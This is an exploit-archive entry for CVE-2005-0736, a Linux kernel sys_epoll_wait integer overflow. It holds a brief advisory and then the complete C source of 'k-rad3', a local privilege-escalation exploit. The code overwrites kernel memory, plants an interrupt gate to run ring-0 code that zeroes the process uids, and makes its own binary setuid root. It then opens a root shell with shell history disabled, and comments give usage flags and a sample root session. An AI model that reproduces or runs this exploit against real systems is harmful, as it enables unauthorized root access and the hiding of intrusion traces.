Linux Kernel 2.6.x SYS_EPoll_Wait Local Integer Overflow Vulnerability (2). CVE-2005-0736. Local exploit for linux platform
source: http://www.securityfocus.com/bid/12763/info
A Local integer overflow vulnerability affects the Linux kernel. This issue is due to a failure of the affected kernel to properly handle user-supplied size values.
An attacker may leverage this issue to overwrite low kernel memory. This may potentially facilitate privilege escalation.
/*
* k-rad3.c - linux 2.6.11 and below CPL 0 kernel local exploit v3
* Discovered and original exploit coded Jan 2005 by sd <[email protected]>
*
*********************************************************************
*
* Modified 2005/9 by alert7 <[email protected]>
* XFOCUS Security Team http://www.xfocus.org
*
* gcc -o k-rad3 k-rad3.c -static -O2
*
* tested succeed :
* on default installed RHEL4(2.6.9-5.EL and 2.6.9-5.ELsmp)
* 2.6.9-5.EL ./k-rad3 -p 2
* 2.6.9-5.ELsmp ./k-rad3 -a -p 7
* on default installed maglic linux 1.2
* MagicLinux 2.6.9 #1 ./k-rad3 -t 1 -p 2
*
* thank watercloud tested maglic linux 1.2
* thank eist provide RHEL4 to test
* thank sd <[email protected]> share his stuff.
* thank xfocus & xfocus's firends
*
*
* TODO:
* CASE 1: use stack > 0xc0000000
* CASE 2: CONFIG_X86_PAE define ,but cpu flag no pse
*
*[alert7@MagicLinux ~]$ ./k-rad3 -h
*[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ]
*[ Discovered Jan 2005 by sd <[email protected]> ]
*[ Modified 2005/9 by alert7 <[email protected]> ]
*
*Usage: ./k-rad3
* -s forced cpu flag pse
* -a define CONFIG_X86_PAE,default none
* -e <num> have two kernel code,default 0
* -p <num> alloc pages(4k) ,default 1. Increase from 1 to 7
* The higher number the more likely it will crash
* -t <num> default 0
* 0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
*
*[alert7@MagicLinux ~]$ ./k-rad3 -t 1 -p 2
*[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ]
*[ Discovered Jan 2005 by sd <[email protected]> ]
*[ Modified 2005/9 by alert7 <[email protected]> ]
*[+] try open /proc/cpuinfo .. ok!!
*[+] find cpu flag pse in /proc/cpuinfo
*[+] CONFIG_X86_PAE :none
*[+] Cpu flag: pse ok
*[+] Exploit Way : 0
*[+] Use 2 pages (one page is 4K ),rewrite 0xc0000000--(0xc0002000 + n)
*[+] thread_size 1 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
*[+] idtr.base 0xc0461000 ,base 0xc0000000
*[+] kwrite base 0xc0000000, buf 0xbffed750,num 8196
*[+] idt[0x7f] addr 0xffc003f8
*[+] j00 1u(k7 k1d!
*[root@k-rad3 ~] #id
*uid=0(root) gid=0(root) groups=500(alert7)
*
*
* Linux Kernel <= 2.6.11 "sys_epoll_wait" Local integer overflow Exploit
*
* "it is possible to partially overwrite low kernel ( >= 2.6 <= 2.6.11)
* memory due to integer overflow in sys_epoll_wait and misuse of
* __put_user in ep_send_events"
* Georgi Guninski: http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html
*
*********************************************************************
*
*
* In memory of pwned.c (uselib)
*
* - Redistributions of source code is not permitted.
* - Redistributions in the binary form is not permitted.
* - Redistributions of the above copyright notice, this list of conditions,
* and the following disclaimer is permitted.
* - By proceeding to a Redistribution and under any form of the Program
* the Distributor is granting ownership of his Resources without
* limitations to the copyright holder(s).
*
*
* Since we already owned everyone, theres no point keeping this private
* anymore.
*
* http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html
*
* Thanks to our internet hero georgi guninski for being such incredible
* whitehat disclosing one of the most reliable kernel bugs.
* You saved the world, man, we owe you one!
*
* This version is somewhat broken, but skilled reader will get an idea.
* Well, at least let the scriptkids have fun for a while.
*
* Thanks to all who helped me developing/testing this, you know who you are,
* and especially to my gf for guidance while coding this.
*
*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/epoll.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <linux/capability.h>
#include <asm/unistd.h>
#ifndef __USE_GNU
#define __USE_GNU
#endif
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <string.h>
/**
* Relationship Variables
*
* 1: CONFIG_X86_PAE
* see /lib/modules/`uname -r`/build/.config
* 1.1: pse
* 2: THREAD_SIZE
* see include/asm/thread_info.h THREAD_SIZE define
*/
#define MAP (0xfffff000 - (1023*4096))
#define MAP_PAE (0xfffff000 - (511*4096))
#define MKPTE(addr) ((addr & (~4095)) | 0x27)
#define MKPMD(x) (0x1e3|0x004)
////////////////////////////////////////////////
#define KRADPS1 "k-rad3"
#define kB * 1024
#define MB * 1024 kB
#define GB * 1024 MB
#define KRS "\033[1;30m[ \033[1;37m"
#define KRE "\033[1;30m ]\033[0m"
#define KRAD "\033[1;30m[\033[1;37m*\033[1;30m]\033[0m "
#define KRADP "\033[1;30m[\033[1;37m+\033[1;30m]\033[0m "
#define KRADM "\033[1;30m[\033[1;37m-\033[1;30m]\033[0m "
#define SET_IDT_GATE(idt,ring,s,addr) \
(idt).off1 = addr & 0xffff; \
(idt).off2 = addr >> 16; \
(idt).sel = s; \
(idt).none = 0; \
(idt).flags = 0x8E | (ring << 5);
//config val
static int havepse = 0;
static int definePAE = 0;
static int exploitway = 0;
static int npages = 1;
static int thread_size = 0;
static uid_t uid = 0;
static unsigned long long *clear1;
static char * progargv0;
struct idtr {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed));
struct idt {
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} __attribute__ ((packed));
#define __syscall_return(type, res) \
do { \
if ((unsigned long)(res) >= (unsigned long)(-125)) { \
errno = -(res); \
res = -1; \
} \
return (type) (res); \
} while (0)
#define _capget_macro(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ( "int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
__syscall_return(type,__res); \
}
static inline _capget_macro(int,capget,void *,a,void *,b);
static int THREAD_SIZE_MASK =(-4096);
static void
fatal(const char *message)
{
system("uname -a");
printf("[-] %s\n",message);
exit(1);
}
void kernel(unsigned * task)
{
unsigned * addr = task;
/* looking for uids */
*clear1 = 0;
while (addr[0] != uid || addr[1] != uid ||
addr[2] != uid || addr[3] != uid
)
addr++;
addr[0] = addr[1] = addr[2] = addr[3] = 0; /* set uids */
addr[4] = addr[5] = addr[6] = addr[7] = 0; /* set gids */
}
void kcode(void);
void __kcode(void)
{
asm(
"kcode: \n"
"cld \n"
" pusha \n"
" pushl %es \n"
" pushl %ds \n"
" movl %ss,%edx \n"
" movl %edx,%es \n"
" movl %edx,%ds \n");
__asm__("movl %0 ,%%eax" ::"m"(THREAD_SIZE_MASK) );
asm(
" andl %esp,%eax \n"
" pushl (%eax) \n"
" call kernel \n"
" addl $4, %esp \n"
" popl %ds \n"
" popl %es \n"
" popa \n"
" cli \n"
" iret \n"
);
}
void raise_cap(unsigned long *ts)
{
/* must be on lower addresses because of kernel arg check :) */
static struct __user_cap_header_struct head;
static struct __user_cap_data_struct data;
static struct __user_cap_data_struct n;
int i;
*clear1 = 0;
head.version = 0x19980330;
head.pid = 0;
capget(&head, &data);
/* scan the thread_struct */
for (i = 0; i < 512; i++, ts++)
{
/* is it capabilities block? */
if ( (ts[0] == data.effective) &&
(ts[1] == data.inheritable) &&
(ts[2] == data.permitted))
{
/* set effective cap to some val */
ts[0] = 0x12341234;
capget(&head, &n);
/* and test if it has changed */
if (n.effective == ts[0])
{
/* if so, we're in :) */
ts[0] = ts[1] = ts[2] = 0xffffffff;
return;
}
/* otherwise fix back the stuff
(if we've not crashed already :) */
ts[0] = data.effective;
}
}
return;
}
void stub(void);
void __stub(void)
{
asm (
"stub:;"
" pusha;"
);
__asm__("movl %0 ,%%eax" ::"m"(THREAD_SIZE_MASK) );
asm(
" and %esp, %eax;"
" pushl (%eax);"
" call raise_cap;"
" pop %eax;"
" popa;"
" iret;"
);
}
/* write to kernel from buf, num bytes */
static int
kwrite(unsigned base, char *buf, int num)
{
#define DIV 256
#define RES 4
int efd, c, i, fd;
int pi[2];
struct epoll_event ev;
int *stab;
unsigned long ptr;
int count;
unsigned magic = 0xffffffff / 12 + 1;
printf("[+] kwrite base %p, buf %p,num %d\n", (void *)base,buf,num);
/* initialize epoll */
efd = epoll_create(4096);
if (efd < 0)
return -1;
ev.events = EPOLLIN|EPOLLOUT|EPOLLPRI|EPOLLERR|EPOLLHUP;
/* 12 bytes per fd + one more to be safely in stack space */
count = (num+11)/12+RES;
/* desc array */
stab = alloca((count+DIV-1)/DIV*sizeof(int));
for (i = 0; i < ((count+DIV-1)/DIV)+1; i++)
{
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pi) < 0)
return -1;
send(pi[0], "a", 1, 0);
stab[i] = pi[1];
}
/* highest fd and first descriptor */
fd = pi[1];
/* we've to allocate this separately because we need to have
it's fd preserved - using this we'll be writing actual bytes */
epoll_ctl(efd, EPOLL_CTL_ADD, fd, &ev);
//printf("EPOLL_CTL_ADD count %u\n",count);
for (i = 0, c = 0; i < (count-1); i++)
{
int n;
n = dup2(stab[i/DIV], fd+2+(i % DIV));
if (n < 0)
return -1;
epoll_ctl(efd, EPOLL_CTL_ADD, n, &ev);
close(n);
}
/* in 'n' we've the latest fd we're using to write data */
for (i = 0; i < ((num+7)/8); i++)
{
/* data being written from end */
memcpy(&ev.data, buf + num - 8 - i * 8, 8);
epoll_ctl(efd, EPOLL_CTL_MOD, fd, &ev);
/* the actual kernel magic */
ptr = (base + num - (i*8)) - (count * 12);
struct epoll_event *events =(struct epoll_event *)ptr;
//printf("epoll_wait verify_area(%p,%p) addr %p %p\n",ptr,magic* sizeof(struct epoll_event) ,&events[0].events,magic);
int iret =epoll_wait(efd, (void *) ptr, magic, 31337);
if (iret ==-1)
{
perror("epoll_wait");
fatal("This kernel not vulnerability!!!");
}
/* don't ask why (rotten rb-trees) :) */
if (i)
{
//printf("epoll_wait verify_area(%p,%p) %p\n",ptr,magic* sizeof(struct epoll_event) ,magic);
iret = epoll_wait(efd, (void *)ptr, magic, 31337);
if (iret ==-1)
{
perror("epoll_wait");
fatal("This kernel not vulnerability!!!");
}
}
}
close(efd);
for (i = 3; i <= fd; i++)
close(i);
return 0;
}
/* real-mode interrupt table fixup - point all interrupts to iret.
let's hope this will shut up apm */
static void
fixint(char *buf)
{
unsigned *tab = (void *) buf;
int i;
for (i = 0; i < 256; i++)
tab[i] = 0x0000400; /* 0000:0400h */
/* iret */
buf[0x400] =0xcf;
}
/* establish pte pointing to virtual addr 'addr' */
static int
map_pte(unsigned base, int pagenr, unsigned addr)
{
unsigned *buf = alloca(pagenr * 4096 + 8);
buf[(pagenr) * 1024] = MKPTE(addr);
buf[(pagenr) * 1024+1] = 0;
fixint((void *)buf);
return kwrite(base, (void *)buf, pagenr * 4096 + 4);
}
/* make pme user can rw */
static int
map_pme(unsigned base, int pagenr, unsigned addr)
{
unsigned *buf = alloca(pagenr * 4096 + 32);
buf[(pagenr) * 1024] = MKPMD(addr);
buf[(pagenr) * 1024+1] = 0;
buf[(pagenr) * 1024+2] = MKPMD(addr)|0x00200000;
buf[(pagenr) * 1024+3] = 0;
fixint((void *)buf);
return kwrite(base, (void *)buf, pagenr * 4096 + 4*3);
}
static void
error(int d)
{
printf(KRADM "y3r 422 12 n07 3r337 3nuPh!\n" KRAD "Try increase nrpages?\n");
exit(1);
}
char *bashargv[] = { KRADPS1, NULL };
char *bashenvp[] = { "TERM=linux", "PS1=[\\u@"KRADPS1" \\W]\\$ ", "BASH_HISTORY=/dev/null",
"HISTORY=/dev/null", "history=/dev/null","HISTFILE=/dev/null",
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
static int
exploit(unsigned kernelbase, int npages)
{
struct idt *idt;
struct idtr idtr;
signal(SIGSEGV, error);
signal(SIGBUS, error);
/* get idt descriptor addr */
asm ("sidt %0" : "=m" (idtr));
/*
* if OS in vmware , idtr.base is not right,please fix it
* [alert7@MagicLinux ~]$ cat /boot/System.map|grep idt_table
* c0461000 D idt_table
* //idtr.base = 0xc0461000;
*/
printf("[+] idtr.base %p ,base %p\n",(void *)idtr.base , (void *)kernelbase);
if ( !definePAE )
{
map_pte(kernelbase, npages, idtr.base - kernelbase);
// idt = pae?(void *)MAP_PAE:(void *)MAP;
idt = (struct idt *)MAP;
}else
{
/* TODO: pse disable case */
if ( !havepse)
printf("[!Waring!] TODO:CONFIG_X86_PAE define ,but cpu flag no pse\n");
map_pme(kernelbase, npages, idtr.base - kernelbase);
idt = (struct idt *) idtr.base;
}
#if 0
int * p = (int *) idt;
int i;
for (i=0;i<1024;i++,p++)
printf( "* %p 0x%x\n",p,*p);
fflush(stdout);
#endif
/**
* cleanup the stuff to prevent others spotting the gate
* - must be done from ring 0
*/
clear1 = (void *) &idt[0x7f];
printf("[+] idt[0x7f] addr %p\n",clear1);
if ( exploitway == 0)
{
SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &kcode));
}
else
{
SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &stub));
}
//[2] SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &stub));
/**
* also can use [2] stub function,but it may cause this message
*
* Sep 11 13:11:59 AD4 kernel: Debug: sleeping function called from invalid context at include/asm/uaccess.h:531
* Sep 11 13:11:59 AD4 kernel: in_atomic():0[expected: 0], irqs_disabled():1
* Sep 11 13:11:59 AD4 kernel: [<c011ca30>] __might_sleep+0x7d/0x89
* Sep 11 13:11:59 AD4 kernel: [<c01270bd>] sys_capget+0x1d5/0x216
* Sep 11 13:11:59 AD4 kernel: [<c0301bfb>] syscall_call+0x7/0xb
* Sep 11 13:11:59 AD4 kernel: [<c017007b>] pipe_writev+0x24/0x320
* Sep 11 13:11:59 AD4 kernel: [<c01619a4>] filp_close+0x59/0x5f
*
*/
/* call raise_cap or kernel */
asm ("int $0x7f");
printf(KRADP "j00 1u(k7 k1d!\n");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
char cmdbuf[1024];
snprintf(cmdbuf,1024,"chown root %s;chmod +s %s",progargv0,progargv0);
system(cmdbuf);
execve("/bin/sh", bashargv, bashenvp);
exit(0);
}
static void
usage(char *n)
{
printf("\nUsage: %s\n",n);
printf("\t-s forced cpu flag pse \n");
printf("\t-a define CONFIG_X86_PAE,default none\n");
printf("\t-e <num> have two kernel code,default 0\n");
printf("\t-p <num> alloc pages(4k) ,default 1. Increase from 1 to 7\n"
"\t\tThe higher number the more likely it will crash\n");
printf("\t-t <num> default 0 \n"
"\t\t0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192\n");
printf("\n");
_exit(1);
}
/*read /proc/cpuinfo to set havepse*/
static void
read_proc(void)
{
FILE * fp;
char * line = NULL;
size_t len = 0;
ssize_t read;
printf("[+] try open /proc/cpuinfo ..");
fp = fopen("/proc/cpuinfo", "r");
if (fp == NULL)
{
printf(" failed!!\n");
return;
}
printf(" ok!!\n");
int cpus = 0;
int pse = 0;
while ((read = getline(&line, &len, fp)) != -1)
{
if (strstr(line,"flags"))
{
if(strstr(line ,"pse "))
{
pse ++;
}
}
}
fclose(fp);
if (line)
free(line);
if ( pse )
{
printf("[+] find cpu flag pse in /proc/cpuinfo\n");
havepse = 1;
}
return ;
}
static void
get_config(int ac, char **av)
{
uid = getuid();
progargv0 = av[0];
int r;
while(ac) {
r = getopt(ac, av, "e:p:t:ash");
if(r<0) break;
switch(r) {
case 's' :
//pse
havepse = 1;
break;
case 'a' :
//define CONFIG_X86_PAE
definePAE = 1;
break;
case 'e' :
exploitway = atoi(optarg);
if(exploitway<0) fatal("bad exploitway value");
break;
case 'p' :
npages = atoi(optarg);
break;
case 't' :
thread_size = atoi(optarg);
break;
case 'h' :
default:
usage(av[0]);
break;
}
}
THREAD_SIZE_MASK = (thread_size==0)?(-4096):(-8192);
read_proc();
}
static void
print_config(unsigned long kernebase)
{
printf("[+] CONFIG_X86_PAE :%s\n", definePAE ?"ok":"none");
printf("[+] Cpu flag: pse %s\n", havepse ?"ok":"none");
printf("[+] Exploit Way : %d\n", exploitway);
printf("[+] Use %d pages (one page is 4K ),rewrite 0x%lx--(0x%lx + n)\n",
npages,kernebase,kernebase+npages*4 kB);
printf("[+] thread_size %d (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192 \n",thread_size);
fflush(stdout);
}
void prepare(void)
{
if (geteuid() == 0)
{
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execve("/bin/sh", bashargv, bashenvp);
fatal("[-] Unable to spawn shell");
}
}
int
main(int argc, char **argv)
{
char eater[65536];
unsigned long kernelbase;
/* unlink(argv[0]); */
// sync();
printf(KRS " "KRADPS1" - <=linux 2.6.11 CPL 0 kernel exploit " KRE "\n"
KRS "Discovered Jan 2005 by sd <[email protected]>" KRE "\n"
KRS "Modified 2005/9 by alert7 <[email protected]>" KRE "\n");
if ( (unsigned long)eater > 0xc0000000)
{
printf("[!Waring!] TODO:use stack > 0xc0000000 \n");
return 0;
}
prepare();
get_config(argc,argv);
kernelbase =(unsigned long)eater ;
kernelbase +=0x0fffffff;
kernelbase &=0xf0000000;
print_config(kernelbase);
exploit(kernelbase, npages<0?-npages:npages);
return 0;
}
// milw0rm.com [2005-12-30]